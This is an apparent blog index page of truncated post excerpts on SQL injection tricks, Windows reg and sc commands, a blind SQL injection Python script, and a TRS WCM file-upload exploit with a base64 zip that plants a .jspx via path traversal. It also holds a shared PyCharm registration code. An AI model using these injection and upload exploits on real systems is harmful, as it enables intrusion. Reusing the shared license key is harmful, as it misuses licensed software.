注入技巧:使用内置函数快速确定数据库类型

RedFree | MSSQL, MySQL, Oracle | 2016-07-15
注入技巧:使用内置函数快速确定数据库类型
从以往的经验来看,一些注入点可以被sqlmap成功扫描出来,但确识别不出数据库类型或识别为错误的数据库类型;如下图:或是因为WAF拦截,或是因为过滤,我们不再去深究其原因;这个时候多半需要手工探测数据库类型并辅以小脚本来跑数据了。那么如何快速的确定数据库类型呢?一个最常用且高效的方法就是使用不同数据库所特有的内置函数。如:id=1'&nb... [阅读全文]

Reg命令使用详解 批处理操作注册表必备

RedFree | Windows | 2016-07-15
首先要说明:编辑注册表不当可能会严重损坏您的系统。在更改注册表之前,应备份计算机上任何有价值的数据只有在别无选择的情况下,才直接编辑注册表。注册表编辑器会忽略标准的安全措施,从而使得这些设置会降低性能、破坏系统,甚至要求用户重新安装Windows。可以利用“控制面板”或“Microsoft管理控制台(MMC)”中的程序安全更改多数注册表设置。如果必须... [阅读全文]
ė116 次访问 6没有评论 0, ,

windows SC服务管理命令详解

RedFree | Windows | 2016-07-14
SC命令详解(一个很有用的command)作为一个命令行工具,SC.exe可以用来测试你自己的系统,你可以设置一个批处理文件来使用不同的参数调用 SC.exe来控制服务。一.SC使用这样的语法:SC [Servername] command Servicename [Optionname= Optionvalues] 2. SC [command] 这里使用第一种语法使用SC,使用第二种语法显示帮助。 下面介绍各种参... [阅读全文]
ė101 次访问 6没有评论 0

密码保护:毕月乌之CloudEye搭建笔记

RedFree | Python | 2016-07-12
密码保护:毕月乌之CloudEye搭建笔记
#########################################################################################################################################################################CloudEye######################################################################################################################################################... [阅读全文]
ė212 次访问 6要查看留言请输入您的密码。 0,

PyCharm 2016 注册码

RedFree | Python | 2016-07-02
PyCharm下载地址:http://www.jetbrains.com/pycharm/download/注册码:43B4A73YYJ-eyJsaWNlbnNlSWQiOiI0M0I0QTczWVlKIiwibGljZW5zZWVOYW1lIjoibGFuIHl1IiwiYXNzaWduZWVOYW1lIjoiIiwiYXNzaWduZWVFbWFpbCI6IiIsImxpY2Vuc2VSZXN0cmljdGlvbiI6IkZvciBlZHVjYXRpb25hbCB1c2Ugb25seSIsImNoZWNrQ29uY3VycmVudFVzZSI6ZmFsc2UsInByb2R1Y3RzIjpbeyJjb2RlIjoiSUkiL... [阅读全文]
ė138 次访问 6没有评论 0

SQL注入盲注小脚本(python)

RedFree | MySQL, Python | 2016-07-01
布尔型:#!/usr/bin/env python # -*- coding: utf-8 -*- """ Coding by redfree@wooyun.org 2016/04/28 """ import re import string import requests exp_url = 'http://xxx.com/?id=25966%s&_=ss' version = &... [阅读全文]
ė244 次访问 6没有评论 0, ,

TRS /wcm/services/trswcm:SOAPService文件上传漏洞Python编解码Zip包代码

RedFree | Python | 2016-06-30
#! /usr/bin/env python # -*- coding: utf-8 -*- import array from base64 import b64encode,b64decode bstr = "UEsDBBQAAAAIAPMLkkd2KxjXzAAAAEABAAAuABwALi4vLi4vLi4vLi4vLi4vVG9tY2F0L3dlYmFwcHMvd2NtL3Rlc3RhYmMuanNweFVUCQADefFyVn/xclZ1eAsAAQQAAAAABAAAAABtkL9uhDAMh... [阅读全文]
ė265 次访问 6没有评论 0, ,
Ɣ回顶部